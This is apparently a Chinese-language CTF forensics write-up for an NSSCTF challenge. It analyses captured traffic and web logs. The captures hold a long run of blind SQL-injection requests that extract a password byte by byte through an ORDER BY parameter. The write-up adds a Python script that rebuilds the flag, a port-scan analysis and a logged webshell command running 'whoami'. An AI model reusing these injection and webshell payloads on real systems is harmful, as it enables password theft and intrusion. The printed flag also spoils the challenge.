HEADERS[1027]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="74"_then_id_else_col1_end), WINDOW_UPDATE[1027]
HEADERS[1029]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="75"_then_id_else_col1_end), WINDOW_UPDATE[1029]
HEADERS[1031]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="76"_then_id_else_col1_end), WINDOW_UPDATE[1031]
HEADERS[1033]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="77"_then_id_else_col1_end), WINDOW_UPDATE[1033]
HEADERS[1035]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="78"_then_id_else_col1_end), WINDOW_UPDATE[1035]
HEADERS[1037]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="79"_then_id_else_col1_end), WINDOW_UPDATE[1037]
HEADERS[1039]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="7A"_then_id_else_col1_end), WINDOW_UPDATE[1039]
HEADERS[1041]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="41"_then_id_else_col1_end), WINDOW_UPDATE[1041]
HEADERS[1043]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="42"_then_id_else_col1_end), WINDOW_UPDATE[1043]
HEADERS[1045]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="43"_then_id_else_col1_end), WINDOW_UPDATE[1045]
HEADERS[1047]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="44"_then_id_else_col1_end), WINDOW_UPDATE[1047]
HEADERS[1049]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="45"_then_id_else_col1_end), WINDOW_UPDATE[1049]
HEADERS[1051]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="46"_then_id_else_col1_end), WINDOW_UPDATE[1051]
HEADERS[1053]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="47"_then_id_else_col1_end), WINDOW_UPDATE[1053]
HEADERS[1055]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="48"_then_id_else_col1_end), WINDOW_UPDATE[1055]
HEADERS[1057]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="49"_then_id_else_col1_end), WINDOW_UPDATE[1057]
HEADERS[1059]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="4A"_then_id_else_col1_end), WINDOW_UPDATE[1059]
HEADERS[1061]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="4B"_then_id_else_col1_end), WINDOW_UPDATE[1061]
HEADERS[1063]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="4C"_then_id_else_col1_end), WINDOW_UPDATE[1063]
HEADERS[1065]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="4D"_then_id_else_col1_end), WINDOW_UPDATE[1065]
HEADERS[1067]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="4E"_then_id_else_col1_end), WINDOW_UPDATE[1067]
HEADERS[1069]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="4F"_then_id_else_col1_end), WINDOW_UPDATE[1069]
HEADERS[1071]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="50"_then_id_else_col1_end), WINDOW_UPDATE[1071]
HEADERS[1073]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="51"_then_id_else_col1_end), WINDOW_UPDATE[1073]
HEADERS[1075]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="52"_then_id_else_col1_end), WINDOW_UPDATE[1075]
HEADERS[1077]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="53"_then_id_else_col1_end), WINDOW_UPDATE[1077]
HEADERS[1079]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="54"_then_id_else_col1_end), WINDOW_UPDATE[1079]
HEADERS[1081]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="55"_then_id_else_col1_end), WINDOW_UPDATE[1081]
HEADERS[1083]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="56"_then_id_else_col1_end), WINDOW_UPDATE[1083]
HEADERS[1085]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="57"_then_id_else_col1_end), WINDOW_UPDATE[1085]
HEADERS[1087]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="58"_then_id_else_col1_end), WINDOW_UPDATE[1087]
HEADERS[1089]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="59"_then_id_else_col1_end), WINDOW_UPDATE[1089]
HEADERS[1091]: GET /info?l=1&o=(case_when_(select_hex(substr(password,38,1))_from_user)="5A"_then_id_else_col1_end), WINDOW_UPDATE[1091]
HEADERS[1093]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="2B"_then_id_else_col1_end), WINDOW_UPDATE[1093]
HEADERS[1095]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="2D"_then_id_else_col1_end), WINDOW_UPDATE[1095]
HEADERS[1097]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="7B"_then_id_else_col1_end), WINDOW_UPDATE[1097]
HEADERS[1099]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="7D"_then_id_else_col1_end), WINDOW_UPDATE[1099]
HEADERS[1101]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="30"_then_id_else_col1_end), WINDOW_UPDATE[1101]
HEADERS[1103]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="31"_then_id_else_col1_end), WINDOW_UPDATE[1103]
HEADERS[1105]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="32"_then_id_else_col1_end), WINDOW_UPDATE[1105]
HEADERS[1107]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="33"_then_id_else_col1_end), WINDOW_UPDATE[1107]
HEADERS[1109]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="34"_then_id_else_col1_end), WINDOW_UPDATE[1109]
HEADERS[1111]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="35"_then_id_else_col1_end), WINDOW_UPDATE[1111]
HEADERS[1113]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="36"_then_id_else_col1_end), WINDOW_UPDATE[1113]
HEADERS[1115]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="37"_then_id_else_col1_end), WINDOW_UPDATE[1115]
HEADERS[1117]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="38"_then_id_else_col1_end), WINDOW_UPDATE[1117]
HEADERS[1119]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="39"_then_id_else_col1_end), WINDOW_UPDATE[1119]
HEADERS[1121]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="61"_then_id_else_col1_end), WINDOW_UPDATE[1121]
HEADERS[1123]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="62"_then_id_else_col1_end), WINDOW_UPDATE[1123]
HEADERS[1125]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="63"_then_id_else_col1_end), WINDOW_UPDATE[1125]
HEADERS[1127]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="64"_then_id_else_col1_end), WINDOW_UPDATE[1127]
HEADERS[1129]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="65"_then_id_else_col1_end), WINDOW_UPDATE[1129]
HEADERS[1131]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="66"_then_id_else_col1_end), WINDOW_UPDATE[1131]
HEADERS[1133]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="67"_then_id_else_col1_end), WINDOW_UPDATE[1133]
HEADERS[1135]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="68"_then_id_else_col1_end), WINDOW_UPDATE[1135]
HEADERS[1137]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="69"_then_id_else_col1_end), WINDOW_UPDATE[1137]
HEADERS[1139]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="6A"_then_id_else_col1_end), WINDOW_UPDATE[1139]
HEADERS[1141]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="6B"_then_id_else_col1_end), WINDOW_UPDATE[1141]
HEADERS[1143]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="6C"_then_id_else_col1_end), WINDOW_UPDATE[1143]
HEADERS[1145]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="6D"_then_id_else_col1_end), WINDOW_UPDATE[1145]
HEADERS[1147]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="6E"_then_id_else_col1_end), WINDOW_UPDATE[1147]
HEADERS[1149]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="6F"_then_id_else_col1_end), WINDOW_UPDATE[1149]
HEADERS[1151]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="70"_then_id_else_col1_end), WINDOW_UPDATE[1151]
HEADERS[1153]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="71"_then_id_else_col1_end), WINDOW_UPDATE[1153]
HEADERS[1155]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="72"_then_id_else_col1_end), WINDOW_UPDATE[1155]
HEADERS[1157]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="73"_then_id_else_col1_end), WINDOW_UPDATE[1157]
HEADERS[1159]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="74"_then_id_else_col1_end), WINDOW_UPDATE[1159]
HEADERS[1161]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="75"_then_id_else_col1_end), WINDOW_UPDATE[1161]
HEADERS[1163]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="76"_then_id_else_col1_end), WINDOW_UPDATE[1163]
HEADERS[1165]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="77"_then_id_else_col1_end), WINDOW_UPDATE[1165]
HEADERS[1167]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="78"_then_id_else_col1_end), WINDOW_UPDATE[1167]
HEADERS[1169]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="79"_then_id_else_col1_end), WINDOW_UPDATE[1169]
HEADERS[1171]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="7A"_then_id_else_col1_end), WINDOW_UPDATE[1171]
HEADERS[1173]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="41"_then_id_else_col1_end), WINDOW_UPDATE[1173]
HEADERS[1175]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="42"_then_id_else_col1_end), WINDOW_UPDATE[1175]
HEADERS[1177]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="43"_then_id_else_col1_end), WINDOW_UPDATE[1177]
HEADERS[1179]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="44"_then_id_else_col1_end), WINDOW_UPDATE[1179]
HEADERS[1181]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="45"_then_id_else_col1_end), WINDOW_UPDATE[1181]
HEADERS[1183]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="46"_then_id_else_col1_end), WINDOW_UPDATE[1183]
HEADERS[1185]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="47"_then_id_else_col1_end), WINDOW_UPDATE[1185]
HEADERS[1187]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="48"_then_id_else_col1_end), WINDOW_UPDATE[1187]
HEADERS[1189]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="49"_then_id_else_col1_end), WINDOW_UPDATE[1189]
HEADERS[1191]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="4A"_then_id_else_col1_end), WINDOW_UPDATE[1191]
HEADERS[1193]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="4B"_then_id_else_col1_end), WINDOW_UPDATE[1193]
HEADERS[1195]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="4C"_then_id_else_col1_end), WINDOW_UPDATE[1195]
HEADERS[1197]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="4D"_then_id_else_col1_end), WINDOW_UPDATE[1197]
HEADERS[1199]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="4E"_then_id_else_col1_end), WINDOW_UPDATE[1199]
HEADERS[1201]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="4F"_then_id_else_col1_end), WINDOW_UPDATE[1201]
HEADERS[1203]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="50"_then_id_else_col1_end), WINDOW_UPDATE[1203]
HEADERS[1205]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="51"_then_id_else_col1_end), WINDOW_UPDATE[1205]
HEADERS[1207]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="52"_then_id_else_col1_end), WINDOW_UPDATE[1207]
HEADERS[1209]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="53"_then_id_else_col1_end), WINDOW_UPDATE[1209]
HEADERS[1211]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="54"_then_id_else_col1_end), WINDOW_UPDATE[1211]
HEADERS[1213]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="55"_then_id_else_col1_end), WINDOW_UPDATE[1213]
HEADERS[1215]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="56"_then_id_else_col1_end), WINDOW_UPDATE[1215]
HEADERS[1217]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="57"_then_id_else_col1_end), WINDOW_UPDATE[1217]
HEADERS[1219]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="58"_then_id_else_col1_end), WINDOW_UPDATE[1219]
HEADERS[1221]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="59"_then_id_else_col1_end), WINDOW_UPDATE[1221]
HEADERS[1223]: GET /info?l=1&o=(case_when_(select_hex(substr(password,39,1))_from_user)="5A"_then_id_else_col1_end), WINDOW_UPDATE[1223]
HEADERS[1225]: GET /info?l=1&o=(case_when_(select_hex(substr(password,40,1))_from_user)="2B"_then_id_else_col1_end), WINDOW_UPDATE[1225]
HEADERS[1227]: GET /info?l=1&o=(case_when_(select_hex(substr(password,40,1))_from_user)="2D"_then_id_else_col1_end), WINDOW_UPDATE[1227]
HEADERS[1229]: GET /info?l=1&o=(case_when_(select_hex(substr(password,40,1))_from_user)="7B"_then_id_else_col1_end), WINDOW_UPDATE[1229]
HEADERS[1231]: GET /info?l=1&o=(case_when_(select_hex(substr(password,40,1))_from_user)="7D"_then_id_else_col1_end), WINDOW_UPDATE[1231]
HEADERS[1233]: GET /info?l=1&o=(case_when_(select_hex(substr(password,40,1))_from_user)="30"_then_id_else_col1_end), WINDOW_UPDATE[1233]
HEADERS[1235]: GET /info?l=1&o=(case_when_(select_hex(substr(password,40,1))_from_user)="31"_then_id_else_col1_end), WINDOW_UPDATE[1235]
HEADERS[1237]: GET /info?l=1&o=(case_when_(select_hex(substr(password,40,1))_from_user)="32"_then_id_else_col1_end), WINDOW_UPDATE[1237]
HEADERS[1239]: GET /info?l=1&o=(case_when_(select_hex(substr(password,40,1))_from_user)="33"_then_id_else_col1_end), WINDOW_UPDATE[1239]
HEADERS[1241]: GET /info?l=1&o=(case_when_(select_hex(substr(password,40,1))_from_user)="34"_then_id_else_col1_end), WINDOW_UPDATE[1241]
HEADERS[1243]: GET /info?l=1&o=(case_when_(select_hex(substr(password,40,1))_from_user)="35"_then_id_else_col1_end), WINDOW_UPDATE[1243]
HEADERS[1245]: GET /info?l=1&o=(case_when_(select_hex(substr(password,40,1))_from_user)="36"_then_id_else_col1_end), WINDOW_UPDATE[1245]
HEADERS[1247]: GET /info?l=1&o=(case_when_(select_hex(substr(password,40,1))_from_user)="37"_then_id_else_col1_end), WINDOW_UPDATE[1247]
HEADERS[1249]: GET /info?l=1&o=(case_when_(select_hex(substr(password,40,1))_from_user)="38"_then_id_else_col1_end), WINDOW_UPDATE[1249]
HEADERS[1251]: GET /info?l=1&o=(case_when_(select_hex(substr(password,40,1))_from_user)="39"_then_id_else_col1_end), WINDOW_UPDATE[1251]
HEADERS[1253]: GET /info?l=1&o=(case_when_(select_hex(substr(password,40,1))_from_user)="61"_then_id_else_col1_end), WINDOW_UPDATE[1253]
HEADERS[1255]: GET /info?l=1&o=(case_when_(select_hex(substr(password,40,1))_from_user)="62"_then_id_else_col1_end), WINDOW_UPDATE[1255]
HEADERS[1257]: GET /info?l=1&o=(case_when_(select_hex(substr(password,40,1))_from_user)="63"_then_id_else_col1_end), WINDOW_UPDATE[1257]
HEADERS[1259]: GET /info?l=1&o=(case_when_(select_hex(substr(password,40,1))_from_user)="64"_then_id_else_col1_end), WINDOW_UPDATE[1259]
HEADERS[1261]: GET /info?l=1&o=(case_when_(select_hex(substr(password,40,1))_from_user)="65"_then_id_else_col1_end), WINDOW_UPDATE[1261]
HEADERS[1263]: GET /info?l=1&o=(case_when_(select_hex(substr(password,40,1))_from_user)="66"_then_id_else_col1_end), WINDOW_UPDATE[1263]
HEADERS[1265]: GET /info?l=1&o=(case_when_(select_hex(substr(password,40,1))_from_user)="67"_then_id_else_col1_end), WINDOW_UPDATE[1265]
HEADERS[1267]: GET /info?l=1&o=(case_when_(select_hex(substr(password,40,1))_from_user)="68"_then_id_else_col1_end), WINDOW_UPDATE[1267]
HEADERS[1269]: GET /info?l=1&o=(case_when_(select_hex(substr(password,40,1))_from_user)="69"_then_id_else_col1_end), WINDOW_UPDATE[1269]
HEADERS[1271]: GET /info?l=1&o=(case_when_(select_hex(substr(password,40,1))_from_user)="6A"_then_id_else_col1_end), WINDOW_UPDATE[1271]
1
2
3
4
5
6
7
8
HEADERS[1]: GET /info?l=1&o=
(case_when_(select_hex(substr(password,1,1)))_from_user)="
HEADERS[3]: GET /info?l=1&o=
(case_when_(select_hex(substr(password,1,1)))_from_user)="
...
HEADERS[5]: GET /info?l=1&o=
(case_when_(select_hex(substr(password,2,1)))_from_user)="
...

每条请求都在从1开始尝试读取password字段的某个字节，使用substr(password,pos,1)获取单个字符，然后再用select_hex(...)将其转成十六进制字符串返回，例如

1
select_hex(substr(password,1,1)) → 返回 '48'（即 ASCII 'H'）

所以这些请求是在逐位爆破密码

四、用 2.py 处理 2.txt，提取 flag 字符

写一个脚本2.py:取出hex值前两位，再取出偏移位置，如果当前位置和上一次相同就不重复添加了，否则就记录进去

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
file_path = './2.txt'

flag_seperator = "_from_user)=\""

position_seperator = 'select_hex(substr(password,'

flag_arr = []

read_first_line = 0

pre_line_position = 0

now_line_position = 0

pre_flag = 0

now_flag = 0

with open(file_path, 'r') as file:
    for line in file:
        line.strip()
        if line:
            try:
                flag = line.split(flag_seperator)[1][:2]
                position = line.split(position_seperator)[1][:2]
                if position[1] == ',':
                    position = position[0]
                if read_first_line == 0:
                    pre_flag = flag
                    pre_line_position = int(position)
                    read_first_line =1
                    continue
                now_line_position = int(position)
                if pre_line_position == now_line_position :
                    pre_flag = flag
                    continue
                else:
                    pre_line_position = now_line_position
                    flag_arr.append(pre_flag)
                    continue
            except:
                print('line error')


#handeling character Z
wash_flag = []
for item in flag_arr:
    if item == '5A':
        continue
    else:
        wash_flag.append(item)

final_flag = ' '.join(wash_flag)

print(final_flag)

print('all done')

五、得到hex值，进一步转化

1
37 34 36 35 35 38 66 33 2D 63 38 34 31 2D 34 35 36 62 2D 38 35 64 37 2D 64 36 63 30 66 32 65 64 61 62 62 32

NSSCTF{746558f3-c841-456b-85d7-d6c0f2edabb2}

问5

黑客端口扫描的扫描器的扫描范围是____________。（格式使用“开始端口-结束端口”，例如1-65535）

端口扫描是攻击者用来探测目标主机哪些端口是开的

RST是TCP里的一个标志位。发送RST表示拒绝连接，立刻断开。

大量的RST说明攻击者正在对多个端口发送连接请求，结果端口都是关闭

过滤器tcp.flags.reset==1

如果看到非常多的数据包，而且端口号看上去是连续变化的，说明黑客正在进行端口扫描，试图找到可通过的开放端口，进而入侵系统。这种行为通常是由自动化软件扫描器完成的。

1
2
3
4
10 → 55720 [RST, ACK]
11 → 55721 [RST, ACK]
...
499 → 56209 [RST, ACK]

→ 从源端口 10 到 499，就是一连串的 RST。

每条记录格式是：源端口 → 目标端口

例如：475 → 56185 表示从本地端口 475 发送到远程端口 56185

端口号大于 1024 的通常是临时端口，由客户端随机分配。就不用在意了。

最小源端口是10，最大源端口是499

连续序列1020, 21～40，41～69…499,说明攻击者扫描了 10 到 499 之间的端口。

问7

黑客访问/攻击了内网的几个服务器，IP地址为____________。（多个IP之间按从小到大排序，使用#来分隔，例如127.0.0.1#192.168.0.1)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
172.28.0.3 - - [28/Aug/2021:18:44:28 +0000] "GET /upload.php HTTP/1.1" 200 42 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" "-"
172.28.0.3 - - [28/Aug/2021:18:44:30 +0000] "GET /favicon.ico HTTP/1.1" 200 43 "http://172.28.0.2/upload.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" "-"
172.28.0.3 - - [28/Aug/2021:18:44:40 +0000] "GET /upload.php HTTP/1.1" 200 42 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" "-"
172.28.0.3 - - [28/Aug/2021:18:44:41 +0000] "GET /favicon.ico HTTP/1.1" 200 43 "http://172.28.0.2/upload.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" "-"
172.28.0.3 - - [28/Aug/2021:18:44:44 +0000] "GET /upload.php HTTP/1.1" 200 42 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" "-"
172.28.0.3 - - [28/Aug/2021:18:44:45 +0000] "GET /favicon.ico HTTP/1.1" 200 43 "http://172.28.0.2/upload.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" "-"
172.28.0.3 - - [28/Aug/2021:18:44:46 +0000] "GET /upload.php HTTP/1.1" 200 42 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" "-"
172.28.0.3 - - [28/Aug/2021:18:44:46 +0000] "GET /favicon.ico HTTP/1.1" 200 43 "http://172.28.0.2/upload.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" "-"
172.28.0.3 - - [28/Aug/2021:18:44:46 +0000] "GET /upload.php HTTP/1.1" 200 42 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" "-"
172.28.0.3 - - [28/Aug/2021:18:44:47 +0000] "GET /favicon.ico HTTP/1.1" 200 43 "http://172.28.0.2/upload.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" "-"
172.28.0.3 - - [28/Aug/2021:18:44:47 +0000] "GET /upload.php HTTP/1.1" 200 42 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" "-"
172.28.0.3 - - [28/Aug/2021:18:44:48 +0000] "GET /upload.php HTTP/1.1" 200 42 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" "-"
172.28.0.3 - - [28/Aug/2021:18:44:48 +0000] "GET /favicon.ico HTTP/1.1" 200 43 "http://172.28.0.2/upload.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" "-"
172.28.0.3 - - [28/Aug/2021:18:44:48 +0000] "GET /favicon.ico HTTP/1.1" 200 43 "http://172.28.0.2/upload.php" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" "-"
172.28.0.3 - - [28/Aug/2021:18:45:14 +0000] "GET //ma.php?fxxk=system(base64_decode(%27d2hvYW1p%27)); HTTP/1.1" 200 38 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" "-"
172.28.0.3 - - [28/Aug/2021:18:45:14 +0000] "GET /favicon.ico HTTP/1.1" 200 43 "http://172.28.0.2//ma.php?fxxk=system(base64_decode(%27d2hvYW1p%27));" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" "-"
172.28.0.3 - - [28/Aug/2021:18:47:42 +0000] "POST /ma.php HTTP/1.1" 200 156 "-" "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; de-de) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27" "-"
172.28.0.3 - - [28/Aug/2021:18:47:53 +0000] "POST /ma.php HTTP/1.1" 200 141 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Macintosh; Intel Mac OS X 10_7_3; Trident/6.0)" "-"
172.28.0.3 - - [28/Aug/2021:18:48:02 +0000] "POST /ma.php HTTP/1.1" 200 142 "-" "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0) Opera 12.14" "-"
172.28.0.3 - - [28/Aug/2021:18:48:05 +0000] "POST /ma.php HTTP/1.1" 200 144 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:27.0) Gecko/20121011 Firefox/27.0" "-"
172.28.0.3 - - [28/Aug/2021:18:48:11 +0000] "POST /ma.php HTTP/1.1" 200 261 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36" "-"
172.28.0.3 - - [28/Aug/2021:18:48:39 +0000] "POST /ma.php HTTP/1.1" 200 50 "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.16 Safari/537.36" "-"
1
2
3
172.28.0.3 - - [28/Aug/2021:18:45:14 +0000]"GET //ma.php?
fxxk=system(base64_decode(%27d2hvYW1p%27)); HTTP/1.1" 200 38 "-" 
"Mozilla/5.0 ..."

客户端ip:172.28.0.3发起请求的设备，此处应该是被黑的ios手机

时间：[28/Aug/2021:18:45:14 +0000]攻击发生的具体时间（UTC）

HTTP请求：**GET //ma.php?fxxk=system(base64_decode(%27d2hvYW1p%27))**

状态码：200

响应大小：38

Referer:"-"第一次访问，没有来源页面

User-Agent:Mozilla/5.0 ... Chrome/79 ...伪装成macOS上的Chrome浏览器

//ma.php?fxxk=system(base64_decode('d2hvYW1p'));

相当于

//ma.php?fxxk=system('whoami');

ma.php很可能是一个webshell一句话木马，他会执行传入的php代码，查看当前用户身份

1
2
3
172.28.0.3 - - [...] "GET /favicon.ico HTTP/1.1" 200 43
"http://172.28.0.2//ma.php?
fxxk=system(base64_decode(%27d2hvYW1p%27));" ...

客户端ip还是172.28.0.3同一个攻击者

请求GET/favicon.ico，请求网站图标

Referer:[http://172.28.0.2//ma.php?](http://172.28.0.2//ma.php?)...

当浏览器访问页面[http://172.28.0.2//ma.php?](http://172.28.0.2//ma.php?)...，它会自动向同一个殒命请求favicon.ico，并在请求头上带上Referer:[http://172.28.0.2/](http://172.28.0.2//ma.php?)，表示是从中国页面来的

172.28.0.2 是 Web 服务器（被攻击的目标）

